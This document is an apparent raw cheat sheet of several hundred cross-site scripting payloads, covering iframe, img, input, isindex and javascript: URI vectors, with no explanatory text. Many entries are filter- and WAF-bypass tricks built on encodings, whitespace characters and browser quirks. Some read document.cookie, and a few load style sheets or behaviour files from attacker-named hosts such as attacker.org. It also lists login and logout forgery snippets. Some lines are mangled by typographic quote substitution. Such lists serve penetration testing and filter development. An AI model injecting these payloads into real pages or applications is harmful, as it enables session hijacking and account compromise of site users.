<iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe> ?
<iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>
<iframe/src=j&Tab;av&Tab;as&Tab;cri&Tab;pt&Tab;:co&Tab;nfir&Tab;m&Tab;(&Tab;&Tab;1&Tab;)>
<iframe src=//localhost/self/logout.php
<iframe src=LOGOUT_URL onload=forms[0].submit()>
<iframe src=mhtml:http://html5sec.org/test.gif!1.html></iframe>
<iframe src=mhtml:http://html5sec.org/test.html!1.html></iframe>
“><iframe src=’’ onload=alert(‘atul’)>
<iframe src=/ onload=eval(unescape(this.name.replace(/\/g,null))) name=fff%253Dnew%2520this.contentWindow.window.XMLHttpRequest%2528%2529%253Bfff.open%2528%2522GET%2522%252C%25221me2%2522%2529%253Bfff.onreadystatechange%253Dfunction%2528%2529%257Bif%2520%2528fff.readyState%253D%253D4%2520%2526%2526%2520fff.status%253D%253D200%2529%257Balert%2528fff.responseText%2529%253B%257D%257D%253Bfff.send%2528%2529%253B></iframe>
<iframe src=/ onload=eval(unescape(this.name.replace(/\/g,null))) name=fff%253Dnew%2520this.contentWindow.window.XMLHttpRequest%2528%2529%253Bfff.open%2528%2522GET%2522%252C%25221me2%2522%2529%253Bfff.onreadystatechange%253Dfunction%2528%2529%257Bif%2520%2528fff.readyState%253D%253D4%2520%2526%2526%2520fff.status%253D%253D200%2529%257Bconfirm%2528fff.responseText%2529%253B%257D%257D%253Bfff.send%2528%2529%253B></iframe>
“><iframe/src \/\/onload = prompt(1)
<IFRAME SRC=# onmouseover=”alert(document.cookie)”></IFRAME>
<iframe src=”” onmouseover=”confirm(document.cookie)”>
<iframe src=?p=%253Csvg/o%256Eload%253Dalert(1)%253E>
<iframe src=?p=%26lt;svg/o%256Eload%26equals;alert(1)%26gt;>
<iframe src=””srcdoc=”data:,&lt;svg/onload&equals;alert(191)>”191=” sandbox>
<iframe src=””/srcdoc=’&lt;svg onload&equals;alert&lpar;1&rpar;&gt;’>
<iframe src=”#” style=width:exp/**/ressi/**/on(confirm(1))>
<iframe src=”&Tab;javascript:prompt(1)&Tab;”>
<iframe src=’//target.com/vulnpage.php?a=%1B$*H%1BN&b=%20type=image%20src=x%20onerror=alert(document.characterSet);//’>
<iframe src=//targetsite.com?1=<div/style=”width:expression(confirm(1))”>X</div>
<iframe src=//targetsite?1=<svg/onload%00=%00locatio%00n=nam%00e
><iframe src=/tests/cors/%23/tests/auditor.php?q1=<img/src=x onerror=alert(1)
“><iframe src=”/tests/cors/%23/tests/auditor.php?q1=<img/src=x onerror=alert(1)”
<iframe src=”vbscript:document.vulnerable=true;”>
<iframe src=”vbscript:msgbox(1)”></iframe>
<iframe src=”vbscript:msgbox(1)”></iframe> (IE)
<iframe src=”\x01javascript:alert(0)”></iframe> <!?—?Example for Chrome ?
<iframe src=”&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;”></iframe>
<iframe src=”x-javascript&colon;alert(document.domain);”></iframe>
<iframe src=x onerror=prompt(1)>
<iframe style=display:none name=x></iframe>
<iframe style=”position:absolute;top:0;left:0;width:100%;height:100%” onmouseover=”prompt(1)”>
“><iframe style=”position:absolute;top:0;left:0;width:100%;height:100%” onmouseover=”prompt(1)”>
<iframe style=”xg-p:absolute;top:0;left:0;width:100%;height:100%” onmouseover=”prompt(1)”>
<iframe width=0 height=0 src=”javascript:confirm(1)”>
<IFRAME width=”420" height=”315" frameborder=”0" onload=”alert(document.cookie)”></IFRAME>
<iframe xmlns=”#” src=”javascript:alert(1)”></iframe>
<!?—?[if]><script>alert(1)</script ?
<!?—?[if]><script>alert(1)</script ? <!?—?[if<img src=x onerror=alert(1)//]> ?
<!?—?[if]><script>alert(1)</script ? // Works upto IE9 ?http://html5sec.org/#115
<!?—?[if]><script>confirm(1)</script ?
<!?—?[if]><script>javascript:alert(1)</script ?
<!?—?[if WindowsEdition]><script>confirm(location);</script><![endif] ?
<image img=javascript:alert(1@%2Bdocument.domain caption= />
<image src=1 href=1 onerror=”javascript:alert(1)”></image>
<image src=”https://github.com/dummy.jpa href=1 onerror=”javascript:alert(document.cookie)”></image>
<image src=”javascript:alert(1)”>
<image src=”javascript:alert(2)”> // IE6, O10.10, OM10.0
<image xlink:href=”data:image/svg+xml,%3Csvg xmlns=’http://www.w3.org/2000/svg' onload=’alert(1)’%3E%3C/svg%3E”/>
=<img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert%26%23x28;1%26%23x29;>
>”’><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;%26%23x20;1%26%23x20;Test%26%23x20;Successful%26quot;)>
>”’><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;confirm(%26quot;%26%23x20;1%26%23x20;Test%26%23x20;Successful%26quot;)>
<![><IMG ALT=”]><SCRIPT>confirm(1)</SCRIPT>”>
><img id=1 SRC=x onerror=alert(1);>
<<img longdesc=”src=’x’onerror=alert(document.domain);//><img “ src=’showme’>
‘“><img onerror=alert(0) src=><”’
“/><img/onerror=\x09javascript:alert(1)\x09src=xxx:x />
“/><img/onerror=\x0Ajavascript:alert(1)\x0Asrc=xxx:x />
“/><img/onerror=\x0Bjavascript:alert(1)\x0Bsrc=xxx:x />
“/><img/onerror=\x0Cjavascript:alert(1)\x0Csrc=xxx:x />
“/><img/onerror=\x0Djavascript:alert(1)\x0Dsrc=xxx:x />
“/><img/onerror=\x20javascript:alert(1)\x20src=xxx:x />
“/><img/onerror=\x22javascript:alert(1)\x22src=xxx:x />
“/><img/onerror=\x27javascript:alert(1)\x27src=xxx:x />
“/><img/onerror=\x60javascript:alert(1)\x60src=xxx:x />
><img onmouseover=alert(1)>
??><img onmouseover=alert(??1??)>
><img onmouseover=alert(1-By-Muhaddi)>
\”><img Src=0x94 onerror=alert(0x0001)>
IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
“]<img src=1 onerror=alert(1)>
“><img src=1 onerror=alert(1)>.gif
“]<img src=1 onerror=confirm(1)>
/#<img src=1 onerror=javascript:confirm(3)>
/> <img src=’aaa’ onerror=confirm(document.domain)>
“/> <img src=’aaa’ onerror=confirm(document.domain)>
<!?—?<img src=” ?<img src=x onerror=alert(1)//”>
<![><img src=”]><img src=x onerror=alert(1)//”>
<!?—?<img src=” ?<img src=x onerror=alert(1)//”>//INJECTX
<!?—?<img src=” ?<img src=x onerror=javascript:alert(1)//”>
<![><img src=”]><img src=x onerror=javascript:alert(1)//”>
“<IMG src=java\0script:alert(\”1\”)>”;’ > out
?img src=javascript:alert(document.domain)//.swf ?
IMG SRC=”javascript:alert(‘1’);”>
“><img src=javascript:while([{}]);>
#”><img src=M onerror=alert(‘1’);>
?`<img/src=` onerror=alert(1)>?—?!> 
?`<img/src=` onerror=alert(1)>?—?!>
?`<img/src=` onerror=confirm(1)>?—?!>
“<img/src=` onerror=confirm(1)>”
“>?`<img/src=` onerror=confirm(1)>?—?!>
“><img src=”” onerror=”document.write(String.fromCharCode(60)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(62)+String.fromCharCode(97)+String.fromCharCode(108)+String.fromCharCode(101)+String.fromCharCode(114)+String.fromCharCode(116)+String.fromCharCode(40)+String.fromCharCode(49)+String.fromCharCode(41)+String.fromCharCode(60)+String.fromCharCode(47)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(62))”>
“><img src=””onerror=”document.write(String.fromCharCode(60)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(62)+String.fromCharCode(97)+String.fromCharCode(108)+String.fromCharCode(101)+String.fromCharCode(114)+String.fromCharCode(116)+String.fromCharCode(40)+String.fromCharCode(49)+String.fromCharCode(41)+String.fromCharCode(60)+String.fromCharCode(47)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(62))”>
“><img src=”/” =_=” title=”onerror=’prompt(1)’”>
“><img/src=x%0Aonerror=prompt`1`>
`”’><img src=’#\x27 onerror=javascript:alert(1)>
>’>”><img src=x onerror=alert(0)>
“><img src=x onerror=alert(0)>
/>.<<img src=x onerror=alert(1)//&gt;>&lt;&gt;&page=1
“><img src=x onerror=’alert(document.domain)’>
“><img src=x onerror=alert(String.fromCharCode(88,83,83));>
“><img src=x onerror=alert(‘1’);>
“><img src=x onerror=’alert(xzz)’>
><img src=\”x\” onerror=\”confirm(0)\”/>
“\”><img src=\”x\” onerror=\”confirm(0)\”/>”,
“><img src=x onerror=confirm(1); …
@”><img src=x/onerror=confirm(1)>1
><imgsrc=x onerror=confirm.onerror=confirm(1)>
“\”><imgsrc=x onerror=confirm.onerror=confirm(1)>”,
“><img src=x onerror=confirm(‘x’) />]
“><img src=x onerror=confirm`/1/`>//
“><img src=x onerror=co\u006efir\u006d`1`>
“><img src=x onerror=javascript:alert(`1`)>
“><img src=x onerror=javascript:alert(‘1’)>
“><img src=x onerror=javascript:alert(“1”)>
“><img src=x onerror=javascript:alert((`1`))>
“><img src=x onerror=javascript:alert((‘1’))>
“><img src=x onerror=javascript:alert((“1”))>
“><img src=x onerror=javascript:alert(1)>
“><img src=x onerror=javascript:alert(`A`)>
“><img src=x onerror=javascript:alert(‘A’)>
“><img src=x onerror=javascript:alert(“A”)>
“><img src=x onerror=javascript:alert((`A`))>
“><img src=x onerror=javascript:alert((‘A’))>
“><img src=x onerror=javascript:alert((“A”))>
“><img src=x onerror=javascript:alert((A))>
“><img src=x onerror=javascript:alert(A)>
><IMG SRC=x onerror=javascript:alert(&quot;1-By-Muhaddi&quot;)>
><IMG SRC=x onerror=javascript:alert(&quot;1&quot;)>
??><IMG SRC=x onerror=javascript:alert(&quot;1&quot;)>
><imgsrc=x onerror=prompt(0);>
“><img src=x onerror=prompt(0)>
“><img src=x onerror=prompt(1)>
“><img src=x onerror=prompt(1);>
#><img src=x onerror=prompt(1)>
#??><img src=x onerror=prompt(1)>
“><img src=x onerror=prompt(document.location);>#”><img src=x onerror=prompt(document.location);>
‘ “/><img src= x onerror=prompt(/1/)>
“><img src=x onerror=prompt(/1 by me/)>
“><img src=x onerror=prompt(“1”);>#”><img src=x onerror=prompt(“1”);>
“><img src=x onerror=window.open(‘https://www.google.com/');> 
“><img src=x onerror=window.open(‘https://www.google.com/');>
><IMG SRC=x onerror=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
??><IMG SRC=x onerror=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
><img src=x onerror=x.onerror=confirm(1);prompt(2);confirm(/1/.source);prompt(String.fromCharCode(88,83,83))>
“<img src=x onerror=x.onerror=confirm(1);prompt(2);confirm(/1/.source);prompt(String.fromCharCode(88,83,83))>”
“\”><img src=x onerror=x.onerror=confirm(1);prompt(2);confirm(/1/.source);prompt(String.fromCharCode(88,83,83))>”,
“<img src=x onerror=x.onerror=m=’%22%3E%3Cimg%20src%3Dx%20onerror%3Dx.onerror%3Dprompt%28/1/.source%29%3E’;d=unescape(m);document.write(d);prompt(String.fromCharCode(88,83,83))>”
“/><img src=x onerror=x.onerror=prompt(0)>
“\”/><img src=x onerror=x.onerror=prompt(0)>”
“/><img src=x onerror=x.onerror=prompt&lpar;/1/.source&rpar;;confirm(0);confirm(1)>
“\”/><img src=x onerror=x.onerror=prompt&lpar;/1/.source&rpar;;confirm(0);confirm(1)>”
<![<img src=x:x onerror=`alert(/ @jackmasa /)//`] ? 
“><img src=”x:x” onerror=”alert(1)”>
‘><img/src=”x:x”/onerror=”confirm(1)”’><
<![<img src=x:x onerror=`confirm(2)//`] ?
“><img src=”xx:x” alt=”``onerror=confirm(1)”><script>document.body.innerHTML+=’’</script>
<!?—?`<img/src=xx:xx onerror=alert(1)//?—?!>
><img src=`xx:xx` onerror=confirm(/1/.source);confirm(1)>
“<img src=`xx:xx` onerror=confirm(/1/.source);confirm(1)>”
“\”><img src=`xx:xx` onerror=confirm(/1/.source);confirm(1)>”,
 ?<!?—?— -> <img src=xxx:x onerror=javascript:alert(1)> ?
`”’><img src=xxx:x onerror\x00=javascript:alert(1)>
`”’><img src=xxx:x onerror\x09=javascript:alert(1)>
`”’><img src=xxx:x onerror\x0A=javascript:alert(1)>
`”’><img src=xxx:x onerror\x0B=javascript:alert(1)>
`”’><img src=xxx:x onerror\x0C=javascript:alert(1)>
`”’><img src=xxx:x onerror\x0D=javascript:alert(1)>
`”’><img src=xxx:x onerror\x20=javascript:alert(1)>
`”’><img src=xxx:x \x00onerror=javascript:alert(1)>
`”’><img src=xxx:x \x09onerror=javascript:alert(1)>
`”’><img src=xxx:x \x0Aonerror=javascript:alert(1)>
`”’><img src=xxx:x \x0Bonerror=javascript:alert(1)>
`”’><img src=xxx:x \x0Conerror=javascript:alert(1)>
`”’><img src=xxx:x \x0Donerror=javascript:alert(1)>
`”’><img src=xxx:x \x20onerror=javascript:alert(1)>
`”’><img src=xxx:x \x22onerror=javascript:alert(1)>
`”’><img src=xxx:x \x27onerror=javascript:alert(1)>
`”’><img src=xxx:x \x2Fonerror=javascript:alert(1)>
import(‘da\r\nta:text/\ecmascript\,alert%601%60’)
import(‘data:text/javascript,alert(1)’)
<?import namespace=”t” implementation=”#default#time2">
<?import namespace=”t” implementation=”#default#time2"><t:set attributeName=”innerHTML” to=”1&lt;SCRIPT DEFER&gt;javascript:alert(1)&lt;/SCRIPT&gt;”></BODY></HTML>
<?import namespace=”1” implementation=”http://3w.org/1/1.htc">
<?import namespace=”1” implementation=”http://ha.ckers.org/1.htc">
@import url(http://attacker.org/malicious.css)
‘/(@import)/Usi’,
?injection=<script+&injection=>alert(1)></script>
Injection with GIF File as Source of Script (CSP Bypass)
innerHTML=document.title
innerHTML=innerText
innerHTML=location.hash>#<script>alert(1)</script>
/><input>
input1=<script/&in%u2119ut1=>al%u0117rt(‘1’)</script>
<input autofocus onblur=alert(1)>
<input autofocus onblur=alert(103)>
<input/autofocus/onfocus=
<input autofocus onfocus=alert(1)>
<input autofocus onfocus=alert(1)>//INJECTX
<input autofocus onfocus=confirm(1)>
<input/autofocus/onfocus=setTimeout(URL.slice(-7))//#alert()
<input formaction=JaVaScript:confirm(document.cookie)>
Input[hidden] 1 <input type=hidden style=`x:expression(alert(/ @garethheyes /))`> target it. 
<input id=11 name=s value=`aa`onclick=alert(/1/)>
<input id=x><input id=x><script>confirm(x)</script>
<input id=1 onblur=javascript:eval(String[‘fromCharCode’](97,108,101,114,116,40,39,120,115,115,39,41,32)) autofocus><input autofocus>
<input id=1 onfocus=javascript:eval(String[‘fromCharCode’](97,108,101,114,116,40,39,120,115,115,39,41,32)) autofocus>
<input name=PASSWORD_PARAMETER_NAME value=PASSWORD>
<input name=password value=logic>
<input name=USERNAME_PARAMETER_NAME value=USERNAME>
<input name=username value=brute>
<input onblur=alert(34) autofocus><input autofocus>
<input onclick=popup=1; >
<input onfocus=alert(1337) </autofocus>
<input onfocus=”alert(1)” autofocus>
<input onfocus=alert(33) autofocus>
<><input onfocus=confirm(0) autofocus <!?—?
<input onfocus=popup=1; autofocus=”x”>
<InpuT/**/onfocus=pr\u006fmpt(1)%0Aautofocus>renwa
<input/onmouseover=”javaSCRIPT&colon;confirm&lpar;1&rpar;”
<input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaa!>
<INPUT SRC=”javascript:alert(‘1’);”>
<input srcset=x href=x onclick=popup=1; >
<input style=”behavior: url(1.txt)”>
</input/><svg><script>alert(1)//
</input/”><svg><script>alert(1)//
<INPUT TYPE=”BUTTON” action=”alert(‘1’)”/>
<INPUT+TYPE=”checkbox”+onDblClick=confirm(1)>
<input type=hidden name=comment>click me!</form>
<input type=hidden onformchange=confirm(1)/>
<input type=hidden style=`x:expression(confirm(1))`>
<input type=hidden style=`x:expression(confirm(4))`>
<input type=”image” dynid=1 SRC=”javascript:alert(‘1’);”>
<INPUT TYPE=”image” DYNSRC=”javascript:alert(‘1’);”>
<input type=”image” dynsrc=”javascript:document.vulnerable=true;”>
<input type=”image” formaction=JaVaScript:alert(0)>
<Input type = “image” formaction = JaVaScript: alert (0)>
<INPUT TYPE=”IMAGE” id=1 SRC=”javascript:alert(‘1’);”>
<INPUT+TYPE=”IMAGE”+SRC=”javascript:alert(1);”>
<;INPUT TYPE=”;IMAGE”; SRC=”;javascript:alert(‘;1’;);”;>;
<INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘1’);”> 
<INPUT TYPE=”IMAGE” SRC=”javascript:alert(1);”>
<INPUT TYPE=IMAGE SRC=javascript:alert(1);>
<INPUT TYPE=”IMAGE” SRC=”javascript:confirm(document.location);”>
<input TYPE=”IMAGE” SRC=”javascript:document.vulnerable=true;”>
<INPUT TYPE=”IMAGE” SRC=”javascript:javascript:alert(1);”>
<input/type=”image”/value=””`<span/onmouseover=’confirm(1)’>X`</span>
<input type=”search” onsearch=”aler\u0074(1)”>
<input type=”text” name=”a”
<input type=”text” name=”foo” value=””autofocus/onfocus=alert(1)//”>
<input type=”text” name=”text”> <input type=”submit” onclick=”waf”>
<input type=”text” value=``<div/onmouseover=’alert(1)’>X</div>
<input type=”text” value=`` <div/onmouseover=’alert(1)’>X</div>
<input type=”text” value=``<div/onmouseover=’confirm(1)’>X</div>
<input type=”text” value=`` <div/onmouseover=’confirm(1)’>X</div>
<input type=’text’ value=’jaVasCript:/*-/*`/*\`/*’/*”/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/?—?!>\x3csVg/<sVg/oNloAd=alert()//>\x3e’></input>
<input type=”text” value=”jaVasCript:/*-/*`/*\`/*’/*”/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/?—?!>\x3csVg/<sVg/oNloAd=alert()//>\x3e”></input>
<input type=text value=jaVasCript:/*-/*`/*\`/*’/*”/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/?—?!>\x3csVg/<sVg/oNloAd=alert()//>\x3e></input>
<input type=”text”value=””onclick=”location=window[`atob`]`amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21ha W4p`”/>
<input type=”text”value=””onclick=”location=window[`atob`]`amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21haW4p`”/>
<input type=”text” value=””onfocus=location=’javascript:alert`1`’ autofocus””/>
<input type=”text” value=””onresize=pompt(1) “>
<input type=”text” value=””onresize=pompt(1) “> // IE 10 docmode
<input type=”text” value=””><script>alert(1)//”><script type=”text/javascript”> function x(){ do something }</script>
<input value:aa/onclick=alert(/1/)>
<input value=”${alert(1)}`</script/”>
<!?—?— !><input value=” ?<body/onload=`alert(/ @jackmasa /)//`”> 
<!?—?— !><input value=” ?<body/onload=`alert(/ @jackmasa /)//`”>
<!?—?— !><input value=” ?<body/onload=`confirm(4)//`”>
“><input value=<><iframe/src=javascript:confirm(1)
<input value=”INPUT”>
<input value=INPUT>
<input value=””onfocus=alert(9)//”>
<input value=’’onfocus=alert(9);a=’’>
<input value=”<script>alert(1)</script>” `/>
<input value=”><script src=data:%26comma;alert(1)-”>
<input value=””><script src=data:%26comma;alert(1)-””>
<input value=”1test” type=text>
<Input value = “1” type = text>
<i onclick=alert(1)>Click here</i>
<i/onclick=URL=name>
io.swf?yid=\”));}catch(e){alert(1);}//
(?i)([\s\”’`;\/0–9\=]+on\w+\s*=)
i><<script>alert(document.cookie);//<</script>
i><ScRiPt>alert(document.cookie)</script>
i.setAttribute(name, follow);
i.setAttribute(type, hidden);
( is html encoded to &#40
 ) is html encoded to &#41
i><si%2bicript>alert(document.cookie)</script>
<isindex action=data:text/html, type=image>
<isindex action=javascript:alert(166) type=submit value=click> 
<isindex action=”javascript:alert(1)” type=image>
<isindex action=javascript:alert(1) type=image>
<isindex action=”javascript:alert(1)” type=image> // Firefox, IE
<isindex action=javascript:alert(1) type=submit value=click> *
<isindex action=javascript:alert(1) type=submit value=click> 
<isindex action=javascript:alert(1) type=submit value=click>
<isindex action=javascript:alert(32) type=image>
<isindex action=”javas&tab;cript:alert(1)” type=image>
<isindex action=”javas&Tab;cript:alert(1)” type=image>
<isindex action=”javas&Tab;cript:confirm(1)” type=image>
“><isindex action=”javas&Tab;cript:confirm(1)” type=image>
“/><isindex action=”javas&Tab;cript:confirm(1)” type=image>
<isindex action=”javas&Tab;cript:confirm(document.cookie)” type=image>
<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>
<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image> Google Chrome, IE
<isindex/**/alt=1+src=renwa:window[‘alert’]/**/(alt)+type=image+onerror=while(true){eval(src)}>
<isindex formaction=javascript:alert(171) type=submit value=click> 
<isindexformaction=”javascript:alert(1)” type=image>
<Isindexformaction = “javascript: alert (1)” type = image>
<isindex formaction=javascript:alert(1) type=submit value=click> *
<isindex formaction=javascript:alert(1) type=submit value=click> 
<isindex formaction=javascript:alert(1) type=submit value=click>
<isindex formaction=javascript:confirm(1)>
<isindex type=image src=1 onerror=alert(1)>
<isindex+type=image+src=1+onerror=alert(1)>
<isindex type=image src=1 onerror=alert(31)>
<isindex x=”javascript:” onmouseover=”alert(1)” label=”test”>
<isindex x=”javascript:” onmouseover=”alert(1)” label=”test”> // Firefox, IE
<isindex x=”javascript:” onmouseover=”alert(1)”>
i\{\<\/\s\t\y\le\>\<\i\m\g\20\o\ne\r\r\o\r\=\’a\le\r\t\(d\oc\u\me\nt\.c\o\o\kie\)\’\s\rc\=\’eeeeeee\’\20\>{
<i style=x:expression(alert(URL=1))>
<i/style=x=x/**/(confirm(1))(‘\’)expression\’)>
<i/style=x=x/**/n(confirm(1))(‘\’)expressio\’)>
<i\x00mg src=’1' onerror=alert(0) />
<j 1=”*/””-alert(1)<!V onclick=location=innerHTML%2bouterHTML>javascript:/*click me!
<j 1=*/-alert(1)<!V onclick=location=innerHTML%2bouterHTML>javascript:/*click me!
*/<j 1=-alert(9)// onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>javascript:/*click me!
*/”<j 1=-alert(9)// onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>javascript:/*click me!
*/”<j 1=-alert(9)// onclick=location=innerHTML+previousSibling.nodeValue+outerHTML>javascript:/*click me!
<j%26p=<svg%2Bonload=alert(1) onclick=location%2B=outerHTML>click me!
*/<j-alert(1)<!V onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>javascript:/*click me!
*/”<j”-alert(1)<!V onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>javascript:/*click me!
*/”<j”-alert(9)<!?—?onclick=location=innerHTML+previousSibling.nodeValue+outerHTML>javascript:/*click me!
java&#0000000000000000115;cript:name
java%09script:alert(1)
java%0ascript:alert(1)
java%0dscript:alert(1)
Javas%26%2399;ript:alert(1)
javas&#99ript:alert(1)
Javas&#99;ript:alert(1)
javascr%0d%0aipt%3Aalert.call(this,%20document.domain)
javascript:/*?—?
javascript:([,?,,,,?]=[]+{},[?,?,?,?,,?,?,?,,,?]=[!!?]+!?+?.?)[?=?+?+?+?+?+?+?+?+?+?+?][?](?+?+?+?+?+’(-~?)’)()
javascript & # 00058; alert (1)
javascript&#00058;confirm(1)
jaVasCript:/*-/*`/*\`/*&#039;/*&quot;/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//&lt;/stYle/&lt;/titLe/&lt;/teXtarEa/&lt;/scRipt/?—?!&gt;\x3csVg/&lt;sVg/oNloAd=alert()//&gt;\x3e
javascript&#058;alert(1)
javascript&#09;:alert(1)
javascript://%0Aalert(1)
javascript://%0aalert(1) or javascript://%250aalert(1)
javascript:1/*click me!*/ + <alert(1)<!?—?K </alert(1)<!?—??
javascript:1/*click me!*/ + <alert(1)<!V onclick=location=innerHTML%2bouterHTML>
javascript://%250Aalert(document.cookie)
javascript://%250Aalert(document.location=”https://google.com",document.location="https://www.facebook.com")
javascript:’\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'
“javascript:alert(0)”></param></object>
?javascript:alert(1)”,
javas + cript: + -alert(1)
javas + cript: + ale + rt + ( + 1 + )
javas + cript: + ale + rt + (1)
javas + cript:” + “-alert(1)
javascrip + t:alert(1)
javascript: + -alert(1)
javascript:” + “-alert(1)
javascript:alert(1);
javascript:alert(1)//
javascript:alert(1)
JaVaScRipT: alert (1)
JaVaScRipT:alert(1)
JavaSCript:alert(1)
javascript:alert(1)//INJECTX
<javascript:alert(1) onclick=location=tagName>click me! <== doesn’t work! So…
javascript:alert%281%29
javascript:alert(document.domain);
javascript:alert(“hellox worldss”)
javascript:alert&lpar;1&rpar;
javascript:alert&lpar;document&period;cookie&rpar; // AsharJaved
javascript:alert()// ?</script></textarea></style></title><a”//’ onclick=alert()//>*/alert()/*
javascript:alert()//<svg/onload=alert()>’-alert(“-alert()-”)-’
javascript://anything%0D%0A%0D%0Awindow.alert(1)
javas + cript:’click me! + #’-alert(1)
javas + cript:”click me! + #”-alert(1)
javas + cript:click me! + #-alert(1)
